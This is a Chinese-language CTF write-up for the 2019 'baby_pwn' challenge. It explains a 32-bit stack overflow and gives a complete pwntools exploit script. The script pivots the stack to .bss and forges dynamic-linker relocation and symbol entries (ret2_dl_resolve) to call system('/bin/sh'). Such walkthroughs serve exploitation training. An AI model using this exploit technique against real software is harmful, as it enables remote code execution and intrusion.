解题思路
1. 查看文件信息,安全机制
2. 代码审计
3. 分析漏洞点
4. 编写EXP
1.查看文件的属性 分析:
1.查看文件的属性 checksec 可行性文件名
文章图片
2.阅读伪源码查看溢出大小
{
char buf;
// [sp+0h] [bp-28h]@1return read(0, &buf, 0x100u);
}
注:这里可以结合gdb-peda的 pattern命令 查看溢出大小
文章图片
代码审计 通过IDA的观察
文章图片
只有一个read(
我们没有libc文件
),strings
里面没有可以利用的敏感字符串漏洞分析 因为伪代码过于单一 ,首先想到的就是ret2_dl_resolve
ret2_dl的最重要的两个关键点就是offset的确定,在这里一定要重视下面的这张图
文章图片
平常我们都是利用函数结尾
reave
和ret
的结合,这就造成了,我们上面找出来的EIP不是我们可以利用的,这里需要找文章去查看,函数结尾的不同是怎么影响寄存器里面值的变化在这里我一直陷入了一个误区就是,我利用了pwn350的末尾堆栈不平衡的想法一直在构造寄存器里面的数值,其实这个题可以直接覆盖到EXP的地方
这里有一个很好的判断,直接利用
pattern search
只要没有到EIP的值,我就需要考虑,保持函数末尾的堆栈平衡编写EXP 这里我们可以直接将脚本拿过来使用,但是一定要在懂得原理的情况下使用,不然可能只需要改一个值,你都不知道从何处下手
根据我的2019_iscc_pwn350的脚本修改了一下
#!/usr/bin/env python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(os='linux',arch='i386')p = process('./pwn')
P = ELF('./pwn')
rop = ROP('./pwn')leave = 0x0804854A#这个地方我们可以单纯的利用地址所以直接找leave就可以了
bss = 0x0804aa00#这个地方我们,我们需要将地址取到超出地址边缘 ,要是数据写在bss段,我们需要将这个值改为bss段的地址
pppr_addr = 0x080485d9
pop_ebp = 0x080485dbpayload = (0x28+4) * 'a'
payload+= p32(P.plt['read'])
payload+= p32(pppr_addr)
payload+= p32(0)
payload+= p32(bss)
payload+= p32(0x400)
payload+= p32(pop_ebp)
payload+= p32(bss)
payload+= p32(leave)
p.send(payload)sleep(1)elf = ELF('./pwn')
rop = ROP('./pwn')
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addrfake_sys_addr = bss + 36
align = 0x10 - ((fake_sys_addr-dynsym)&0xf)
fake_sys_addr = fake_sys_addr + align
index = (fake_sys_addr - dynsym)/0x10
r_info = (index << 8) + 0x7
st_name = (fake_sys_addr + 0x10) - dynstr
fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12) fake_rel = p32(P.got['read']) + p32(r_info)
fake_rel_addr = bss + 28
fake_index = fake_rel_addr - rel_plt
sh = '/bin/sh'rop.raw(bss)#这里我们到达了可以写入的一段空间
rop.raw(plt_0)
rop.raw(fake_index)
rop.raw('bbbb')
rop.raw(bss+82)#
rop.raw('bbbb')
rop.raw('bbbb')rop.raw(fake_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())#这一步一定要加上,不然你会不知道 上面#处的82是哪里来的
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
p.sendline(rop.chain())
p.interactive()
分析EXP 首先需要进行栈迁移,由于我们的栈空间太小,不足以让我们操作,我们先利用got表复写术,来将返回地址,进行栈迁移,然后修改。
【2019国赛2.baby_pwn 利用ret2_dl_resolve】-参考文献:
- 简书:https://www.jianshu.com/p/8671b34f5620
- 优秀文章:自恋一下:https://blog.csdn.net/qq_42037374/article/details/90510890
- ret2_dl_resolve